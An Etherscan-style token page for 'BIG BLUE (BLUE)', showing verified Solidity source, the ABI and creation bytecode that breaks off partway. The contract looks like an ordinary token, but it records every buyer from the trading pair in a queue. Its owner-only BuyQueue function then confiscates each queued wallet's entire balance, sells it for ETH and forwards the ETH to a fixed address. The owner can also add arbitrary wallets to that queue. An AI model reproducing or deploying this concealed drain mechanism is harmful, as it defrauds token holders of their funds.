ETH Price: $3,362.43 (+0.44%)

Token

BIG BLUE (BLUE)
 

Overview

Max Total Supply

1,000,000,000,000 BLUE

Holders

176

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4.950495049504950495 BLUE

Value
$0.00
0x7f3a1e45f67e92c880e573b43379d71ee089db54
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BigBlue

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-09-24
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.8;

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BigBlue {
    modifier Owner() {
        require(msg.sender == _owner, "Not the owner");
        _;
    }

    struct BuyStruct {
        address wallet;
    }

    BuyStruct[] public _buystruct;

    uint256 public minbuy;

    address _owner;
    string _name;
    string _symbol;
    uint8 _decimals = 18;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address queueAddress = 0xA96c806763d0c667E14164269d35e597b779c007;
    uint256 _totalSupply;
    uint256 public QueueTotal;

    bool inSwap;
    bool tradeenabled;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;

    mapping(address => bool) public isBuyExempt;
    IDEXRouter public router;
    address public pair;

    constructor() {
        _owner = msg.sender;
        _name = "BIG BLUE";
        _symbol = "BLUE";
        _totalSupply = 1000000000000 * 10 ** _decimals;
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(address(this), router.WETH());

        _balances[_owner] = _totalSupply;
        _allowances[address(this)][address(router)] = ~uint256(0);
        isBuyExempt[_owner] = true;
    }

    receive() external payable {}

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnerTransferred(address owner);
    event Queue(address indexed owner, uint256 amount);

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender) external view returns (uint256) {
        return _allowances[holder][spender];
    }

    function StartTrading() external Owner {
        tradeenabled = true;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function ChangeMinBuy(uint256 amount) external Owner {
        minbuy = amount;
    }

    address[] private addressesToAddToQueue;

    function addAddressesToQueue(address[] memory wallets) external Owner {
        for (uint256 i = 0; i < wallets.length; i++) {
            require(wallets[i] != address(0), "Invalid wallet address");
            addressesToAddToQueue.push(wallets[i]);
            _buystruct.push(BuyStruct(wallets[i]));
        }
    }

    function AddBuyQueue(address wallet) internal {
        _buystruct.push(BuyStruct(wallet));
    }

    function _pop(uint index) internal {
        require(index < _buystruct.length);
        _buystruct[index] = _buystruct[_buystruct.length - 1];
        _buystruct.pop();
    }

    function AwaitingBuy(address wallet) public view returns (bool) {
        for (uint256 x; x < _buystruct.length; x++) {
            if (_buystruct[x].wallet == wallet) {
                return true;
            }
        }
        return false;
    }

    function QueueLen() external view returns (uint256) {
        return _buystruct.length;
    }

    function BuyQueue() external Owner {
        while (_buystruct.length > 0) {
            address wallet = _buystruct[0].wallet;
            uint256 balance = _balances[wallet];
            _balances[wallet] -= balance;
            _balances[address(this)] += balance;
            emit Queue(wallet, balance);
            QueueTotal += balance;
            _pop(0);
        }

        if (_balances[address(this)] > 0) {
            queueOrder();
        }
    }

    function queueOrder() internal swapping {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(_balances[address(this)], 0, path, address(this), block.timestamp);
        queueAddress.call{value: address(this).balance}("");
}

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if (_allowances[sender][msg.sender] != ~uint256(0)) {
            _allowances[sender][msg.sender] -= amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        return _BuyTransfer(sender, recipient, amount);
    }

    function _BuyTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwap || (isBuyExempt[sender] || isBuyExempt[recipient])) {
            _basicTransfer(sender, recipient, amount);
            return true;
        }

        if (!tradeenabled) {
            revert("Trading not yet enabled");
        }

        if (sender == pair) {
            require(amount >= minbuy);
            AddBuyQueue(recipient);
        }

        _basicTransfer(sender, recipient, amount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnerTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Queue","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"AwaitingBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BuyQueue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ChangeMinBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"QueueLen","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"QueueTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"StartTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_buystruct","outputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"}],"name":"addAddressesToQueue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBuyExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minbuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600560006101000a81548160ff021916908360ff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a96c806763d0c667e14164269d35e597b779c007600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000d757600080fd5b5033600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f42494720424c55450000000000000000000000000000000000000000000000008152506003908051906020019062000166929190620005f4565b506040518060400160405280600481526020017f424c55450000000000000000000000000000000000000000000000000000000081525060049080519060200190620001b4929190620005f4565b50600560009054906101000a900460ff16600a620001d391906200083e565b64e8d4a51000620001e591906200088f565b600781905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002b757600080fd5b505afa158015620002cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f291906200095a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037757600080fd5b505afa1580156200038c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b291906200095a565b6040518363ffffffff1660e01b8152600401620003d19291906200099d565b602060405180830381600087803b158015620003ec57600080fd5b505af115801562000401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042791906200095a565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600a6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600c6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a2f565b8280546200060290620009f9565b90600052602060002090601f01602090048101928262000626576000855562000672565b82601f106200064157805160ff191683800117855562000672565b8280016001018555821562000672579182015b828111156200067157825182559160200191906001019062000654565b5b50905062000681919062000685565b5090565b5b80821115620006a057600081600090555060010162000686565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000732578086048111156200070a5762000709620006a4565b5b60018516156200071a5780820291505b80810290506200072a85620006d3565b9450620006ea565b94509492505050565b6000826200074d576001905062000820565b816200075d576000905062000820565b81600181146200077657600281146200078157620007b7565b600191505062000820565b60ff841115620007965762000795620006a4565b5b8360020a915084821115620007b057620007af620006a4565b5b5062000820565b5060208310610133831016604e8410600b8410161715620007f15782820a905083811115620007eb57620007ea620006a4565b5b62000820565b620008008484846001620006e0565b925090508184048111156200081a5762000819620006a4565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200084b8262000827565b9150620008588362000831565b9250620008877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073b565b905092915050565b60006200089c8262000827565b9150620008a98362000827565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008e557620008e4620006a4565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200092282620008f5565b9050919050565b620009348162000915565b81146200094057600080fd5b50565b600081519050620009548162000929565b92915050565b600060208284031215620009735762000972620008f0565b5b6000620009838482850162000943565b91505092915050565b620009978162000915565b82525050565b6000604082019050620009b460008301856200098c565b620009c360208301846200098c565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a1257607f821691505b6020821081141562000a295762000a28620009ca565b5b50919050565b61235e8062000a3f6000396000f3fe60806040526004361061012d5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610400578063b5bb5da71461043d578063bf6a1c0d14610468578063d652aa381461047f578063dd62ed3e146104bc578063f887ea40146104f957610134565b806370a08231146103195780638671e69f146103565780639464a4f51461039357806395d89b41146103aa578063a8aa1b31146103d557610134565b806323b872dd116100f257806323b872dd1461021e5780632c83a0741461025b5780632f9a883e14610298578063313ce567146102c3578063415a6269146102ee57610134565b80625d42b61461013957806306fdde0314610162578063095ea7b31461018d57806318160ddd146101ca57806323396e44146101f557610134565b3661013457005b600080fd5b34801561014557600080fd5b50610160600480360381019061015b9190611ab7565b610524565b005b34801561016e57600080fd5b5061017761078d565b6040516101849190611b88565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af9190611be0565b61081f565b6040516101c19190611c3b565b60405180910390f35b3480156101d657600080fd5b506101df610911565b6040516101ec9190611c65565b60405180910390f35b34801561020157600080fd5b5061021c60048036038101906102179190611c80565b61091b565b005b34801561022a57600080fd5b5061024560048036038101906102409190611cad565b6109b5565b6040516102529190611c3b565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190611d00565b610ae3565b60405161028f9190611c3b565b60405180910390f35b3480156102a457600080fd5b506102ad610b91565b6040516102ba9190611c65565b60405180910390f35b3480156102cf57600080fd5b506102d8610b97565b6040516102e59190611d49565b60405180910390f35b3480156102fa57600080fd5b50610303610bae565b6040516103109190611c65565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190611d00565b610bb4565b60405161034d9190611c65565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190611c80565b610bfd565b60405161038a9190611d73565b60405180910390f35b34801561039f57600080fd5b506103a8610c47565b005b3480156103b657600080fd5b506103bf610ee6565b6040516103cc9190611b88565b60405180910390f35b3480156103e157600080fd5b506103ea610f78565b6040516103f79190611d73565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611be0565b610f9e565b6040516104349190611c3b565b60405180910390f35b34801561044957600080fd5b50610452610fb3565b60405161045f9190611c65565b60405180910390f35b34801561047457600080fd5b5061047d610fbf565b005b34801561048b57600080fd5b506104a660048036038101906104a19190611d00565b61106c565b6040516104b39190611c3b565b60405180910390f35b3480156104c857600080fd5b506104e360048036038101906104de9190611d8e565b61108c565b6040516104f09190611c65565b60405180910390f35b34801561050557600080fd5b5061050e611113565b60405161051b9190611e2d565b60405180910390f35b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab90611e94565b60405180910390fd5b60005b815181101561078957600073ffffffffffffffffffffffffffffffffffffffff168282815181106105eb576105ea611eb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141561064a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064190611f2f565b60405180910390fd5b600f82828151811061065f5761065e611eb4565b5b60200260200101519080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060405180602001604052808484815181106106e7576106e6611eb4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050808061078190611f7e565b9150506105b7565b5050565b60606003805461079c90611ff6565b80601f01602080910402602001604051908101604052809291908181526020018280546107c890611ff6565b80156108155780601f106107ea57610100808354040283529160200191610815565b820191906000526020600020905b8154815290600101906020018083116107f857829003601f168201915b5050505050905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108ff9190611c65565b60405180910390a36001905092915050565b6000600754905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a290611e94565b60405180910390fd5b8060018190555050565b60008019600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610acf5781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ac79190612028565b925050819055505b610ada848484611139565b90509392505050565b6000805b600080549050811015610b86578273ffffffffffffffffffffffffffffffffffffffff1660008281548110610b1f57610b1e611eb4565b5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b73576001915050610b8c565b8080610b7e90611f7e565b915050610ae7565b50600090505b919050565b60085481565b6000600560009054906101000a900460ff16905090565b60015481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008181548110610c0d57600080fd5b906000526020600020016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cce90611e94565b60405180910390fd5b5b600080805490501115610e9357600080600081548110610cfb57610cfa611eb4565b5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dbe9190612028565b9250508190555080600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e14919061205c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff167fa084a0430970fb68b5e41b6d5b361e99a84fe57a5cc1bfc457a146ef9fc05cd382604051610e619190611c65565b60405180910390a28060086000828254610e7b919061205c565b92505081905550610e8c600061114f565b5050610cd8565b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ee457610ee3611268565b5b565b606060048054610ef590611ff6565b80601f0160208091040260200160405190810160405280929190818152602001828054610f2190611ff6565b8015610f6e5780601f10610f4357610100808354040283529160200191610f6e565b820191906000526020600020905b815481529060010190602001808311610f5157829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fab338484611139565b905092915050565b60008080549050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104690611e94565b60405180910390fd5b6001600960016101000a81548160ff021916908315150217905550565b600c6020528060005260406000206000915054906101000a900460ff1681565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061114684848461158c565b90509392505050565b600080549050811061116057600080fd5b600060016000805490506111749190612028565b8154811061118557611184611eb4565b5b90600052602060002001600082815481106111a3576111a2611eb4565b5b906000526020600020016000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050506000805480611229576112286120b2565b5b60019003818190600052602060002001600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050905550565b6001600960006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112a05761129f611916565b5b6040519080825280602002602001820160405280156112ce5781602001602082028036833780820191505090505b50905030816000815181106112e6576112e5611eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c091906120f6565b816001815181106113d4576113d3611eb4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460008430426040518663ffffffff1660e01b81526004016114b195949392919061221c565b600060405180830381600087803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b50505050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611529906122a7565b60006040518083038185875af1925050503d8060008114611566576040519150601f19603f3d011682016040523d82523d6000602084013e61156b565b606091505b505050506000600960006101000a81548160ff021916908315150217905550565b6000600960009054906101000a900460ff16806116465750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116455750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561166057611656848484611736565b506001905061172f565b600960019054906101000a900460ff166116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a690612308565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561171e5760015482101561171457600080fd5b61171d83611854565b5b611729848484611736565b50600190505b9392505050565b600081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117879190612028565b9250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117dd919061205c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118419190611c65565b60405180910390a3600190509392505050565b600060405180602001604052808373ffffffffffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61194e82611905565b810181811067ffffffffffffffff8211171561196d5761196c611916565b5b80604052505050565b60006119806118ec565b905061198c8282611945565b919050565b600067ffffffffffffffff8211156119ac576119ab611916565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119ed826119c2565b9050919050565b6119fd816119e2565b8114611a0857600080fd5b50565b600081359050611a1a816119f4565b92915050565b6000611a33611a2e84611991565b611976565b90508083825260208201905060208402830185811115611a5657611a556119bd565b5b835b81811015611a7f5780611a6b8882611a0b565b845260208401935050602081019050611a58565b5050509392505050565b600082601f830112611a9e57611a9d611900565b5b8135611aae848260208601611a20565b91505092915050565b600060208284031215611acd57611acc6118f6565b5b600082013567ffffffffffffffff811115611aeb57611aea6118fb565b5b611af784828501611a89565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b3a578082015181840152602081019050611b1f565b83811115611b49576000848401525b50505050565b6000611b5a82611b00565b611b648185611b0b565b9350611b74818560208601611b1c565b611b7d81611905565b840191505092915050565b60006020820190508181036000830152611ba28184611b4f565b905092915050565b6000819050919050565b611bbd81611baa565b8114611bc857600080fd5b50565b600081359050611bda81611bb4565b92915050565b60008060408385031215611bf757611bf66118f6565b5b6000611c0585828601611a0b565b9250506020611c1685828601611bcb565b9150509250929050565b60008115159050919050565b611c3581611c20565b82525050565b6000602082019050611c506000830184611c2c565b92915050565b611c5f81611baa565b82525050565b6000602082019050611c7a6000830184611c56565b92915050565b600060208284031215611c9657611c956118f6565b5b6000611ca484828501611bcb565b91505092915050565b600080600060608486031215611cc657611cc56118f6565b5b6000611cd486828701611a0b565b9350506020611ce586828701611a0b565b9250506040611cf686828701611bcb565b9150509250925092565b600060208284031215611d1657611d156118f6565b5b6000611d2484828501611a0b565b91505092915050565b600060ff82169050919050565b611d4381611d2d565b82525050565b6000602082019050611d5e6000830184611d3a565b92915050565b611d6d816119e2565b82525050565b6000602082019050611d886000830184611d64565b92915050565b60008060408385031215611da557611da46118f6565b5b6000611db385828601611a0b565b9250506020611dc485828601611a0b565b9150509250929050565b6000819050919050565b6000611df3611dee611de9846119c2565b611dce565b6119c2565b9050919050565b6000611e0582611dd8565b9050919050565b6000611e1782611dfa565b9050919050565b611e2781611e0c565b82525050565b6000602082019050611e426000830184611e1e565b92915050565b7f4e6f7420746865206f776e657200000000000000000000000000000000000000600082015250565b6000611e7e600d83611b0b565b9150611e8982611e48565b602082019050919050565b60006020820190508181036000830152611ead81611e71565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c69642077616c6c6574206164647265737300000000000000000000600082015250565b6000611f19601683611b0b565b9150611f2482611ee3565b602082019050919050565b60006020820190508181036000830152611f4881611f0c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8982611baa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611fbc57611fbb611f4f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061200e57607f821691505b6020821081141561202257612021611fc7565b5b50919050565b600061203382611baa565b915061203e83611baa565b92508282101561205157612050611f4f565b5b828203905092915050565b600061206782611baa565b915061207283611baa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120a7576120a6611f4f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6000815190506120f0816119f4565b92915050565b60006020828403121561210c5761210b6118f6565b5b600061211a848285016120e1565b91505092915050565b6000819050919050565b600061214861214361213e84612123565b611dce565b611baa565b9050919050565b6121588161212d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612193816119e2565b82525050565b60006121a5838361218a565b60208301905092915050565b6000602082019050919050565b60006121c98261215e565b6121d38185612169565b93506121de8361217a565b8060005b8381101561220f5781516121f68882612199565b9750612201836121b1565b9250506001810190506121e2565b5085935050505092915050565b600060a0820190506122316000830188611c56565b61223e602083018761214f565b818103604083015261225081866121be565b905061225f6060830185611d64565b61226c